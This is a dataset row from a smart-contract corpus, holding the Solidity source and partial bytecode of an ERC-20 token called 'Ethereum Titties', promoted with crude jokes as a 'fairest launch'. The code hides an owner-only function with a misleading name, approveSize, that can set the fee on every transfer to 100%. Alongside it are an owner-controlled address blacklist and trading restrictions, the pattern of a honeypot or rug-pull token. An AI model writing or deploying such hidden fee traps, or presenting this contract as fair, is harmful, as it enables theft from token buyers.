address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x4b703fd982bef27415ea5a0f41a1f0b1a21bf9dc
/** *Submitted for verification at Etherscan.io on 2021-06-15 */ /* Ethereum Titties ( . Y . ) TG: https://t.me/EthereumTitties In the world of DeFi, you need a token that you like to hold. If you like to hold Titties, then you need to hold a BIG bag of Ethereum Titties! - Total supply of 1 Trillion, big and juicy - 25% Initial burn, very hot - 5% reflection to holders, use both hands! - Cooldown enabled, nice and slow - Sellers tax, holders are rewarded - Full liquidity, ooh - Anti-bots - Fairest launch! */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract TITTIES is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ethereum Titties"; string private constant _symbol = '( . Y . )'; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 12; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function approveSize(uint256 sAmount) external onlyOwner() { require(sAmount <= 100, "Amount must be less than or equal to 100"); _teamFee = sAmount; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd8014610398578063c9567bf9146103af578063d543dbeb146103c6578063dd62ed3e146103ef578063f4c4a71b1461042c5761011f565b8063715018a6146102c55780638da5cb5b146102dc57806395d89b4114610307578063a9059cbb14610332578063b515566a1461036f5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190613009565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612b09565b610492565b6040516101839190612fee565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae91906131cb565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612aba565b6104c1565b6040516101eb9190612fee565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612a2c565b61059a565b005b34801561022957600080fd5b5061023261068a565b60405161023f9190613240565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612b86565b610693565b005b34801561027d57600080fd5b50610286610745565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612a2c565b6107b7565b6040516102bc91906131cb565b60405180910390f35b3480156102d157600080fd5b506102da610808565b005b3480156102e857600080fd5b506102f161095b565b6040516102fe9190612f20565b60405180910390f35b34801561031357600080fd5b5061031c610984565b6040516103299190613009565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190612b09565b6109c1565b6040516103669190612fee565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612b45565b6109df565b005b3480156103a457600080fd5b506103ad610b2f565b005b3480156103bb57600080fd5b506103c4610ba9565b005b3480156103d257600080fd5b506103ed60048036038101906103e89190612bd8565b6110f6565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612a7e565b61123f565b60405161042391906131cb565b60405180910390f35b34801561043857600080fd5b50610453600480360381019061044e9190612bd8565b6112c6565b005b60606040518060400160405280601081526020017f457468657265756d205469747469657300000000000000000000000000000000815250905090565b60006104a661049f6113a9565b84846113b1565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104ce84848461157c565b61058f846104da6113a9565b61058a8560405180606001604052806028815260200161395360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105406113a9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3b9092919063ffffffff16565b6113b1565b600190509392505050565b6105a26113a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610626906130eb565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069b6113a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071f906130eb565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107866113a9565b73ffffffffffffffffffffffffffffffffffffffff16146107a657600080fd5b60004790506107b481611d9f565b50565b6000610801600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9a565b9050919050565b6108106113a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610894906130eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f28202e2059202e20290000000000000000000000000000000000000000000000815250905090565b60006109d56109ce6113a9565b848461157c565b6001905092915050565b6109e76113a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6b906130eb565b60405180910390fd5b60005b8151811015610b2b576001600a6000848481518110610abf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b23906134e1565b915050610a77565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b706113a9565b73ffffffffffffffffffffffffffffffffffffffff1614610b9057600080fd5b6000610b9b306107b7565b9050610ba681611f08565b50565b610bb16113a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c35906130eb565b60405180910390fd5b600f60149054906101000a900460ff1615610c8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c859061316b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d1e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113b1565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d6457600080fd5b505afa158015610d78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9c9190612a55565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dfe57600080fd5b505afa158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612a55565b6040518363ffffffff1660e01b8152600401610e53929190612f3b565b602060405180830381600087803b158015610e6d57600080fd5b505af1158015610e81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea59190612a55565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f2e306107b7565b600080610f3961095b565b426040518863ffffffff1660e01b8152600401610f5b96959493929190612f8d565b6060604051808303818588803b158015610f7457600080fd5b505af1158015610f88573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fad9190612c01565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110a0929190612f64565b602060405180830381600087803b1580156110ba57600080fd5b505af11580156110ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f29190612baf565b5050565b6110fe6113a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461118b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611182906130eb565b60405180910390fd5b600081116111ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c5906130ab565b60405180910390fd5b6111fd60646111ef83683635c9adc5dea0000061220290919063ffffffff16565b61227d90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161123491906131cb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112ce6113a9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611352906130eb565b60405180910390fd5b606481111561139f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113969061318b565b60405180910390fd5b8060098190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611421576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114189061314b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611491576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114889061306b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161156f91906131cb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e39061312b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561165c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116539061302b565b60405180910390fd5b6000811161169f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116969061310b565b60405180910390fd5b6116a761095b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561171557506116e561095b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c7857600f60179054906101000a900460ff1615611948573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561179757503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f15750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561184b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561194757600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118916113a9565b73ffffffffffffffffffffffffffffffffffffffff1614806119075750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118ef6113a9565b73ffffffffffffffffffffffffffffffffffffffff16145b611946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193d906131ab565b60405180910390fd5b5b5b60105481111561195757600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119fb5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a0457600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611aaf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b055750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b1d5750600f60179054906101000a900460ff165b15611bbe5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b6d57600080fd5b603c42611b7a9190613301565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611bc9306107b7565b9050600f60159054906101000a900460ff16158015611c365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c4e5750600f60169054906101000a900460ff165b15611c7657611c5c81611f08565b60004790506000811115611c7457611c7347611d9f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d1f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d2957600090505b611d35848484846122c7565b50505050565b6000838311158290611d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7a9190613009565b60405180910390fd5b5060008385611d9291906133e2565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611def60028461227d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e1a573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e6b60028461227d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e96573d6000803e3d6000fd5b5050565b6000600654821115611ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed89061304b565b60405180910390fd5b6000611eeb6122f4565b9050611f00818461227d90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f66577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f945781602001602082028036833780820191505090505b5090503081600081518110611fd2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561207457600080fd5b505afa158015612088573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120ac9190612a55565b816001815181106120e6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061214d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113b1565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121b19594939291906131e6565b600060405180830381600087803b1580156121cb57600080fd5b505af11580156121df573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156122155760009050612277565b600082846122239190613388565b90508284826122329190613357565b14612272576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612269906130cb565b60405180910390fd5b809150505b92915050565b60006122bf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231f565b905092915050565b806122d5576122d4612382565b5b6122e08484846123b3565b806122ee576122ed61257e565b5b50505050565b6000806000612301612590565b91509150612318818361227d90919063ffffffff16565b9250505090565b60008083118290612366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235d9190613009565b60405180910390fd5b50600083856123759190613357565b9050809150509392505050565b600060085414801561239657506000600954145b156123a0576123b1565b600060088190555060006009819055505b565b6000806000806000806123c5876125f2565b95509550955095509550955061242386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124b885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250481612702565b61250e84836127bf565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161256b91906131cb565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506125c6683635c9adc5dea0000060065461227d90919063ffffffff16565b8210156125e557600654683635c9adc5dea000009350935050506125ee565b81819350935050505b9091565b600080600080600080600080600061260f8a6008546009546127f9565b925092509250600061261f6122f4565b905060008060006126328e87878761288f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061269c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d3b565b905092915050565b60008082846126b39190613301565b9050838110156126f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ef9061308b565b60405180910390fd5b8091505092915050565b600061270c6122f4565b90506000612723828461220290919063ffffffff16565b905061277781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127d48260065461265a90919063ffffffff16565b6006819055506127ef816007546126a490919063ffffffff16565b6007819055505050565b6000806000806128256064612817888a61220290919063ffffffff16565b61227d90919063ffffffff16565b9050600061284f6064612841888b61220290919063ffffffff16565b61227d90919063ffffffff16565b905060006128788261286a858c61265a90919063ffffffff16565b61265a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128a8858961220290919063ffffffff16565b905060006128bf868961220290919063ffffffff16565b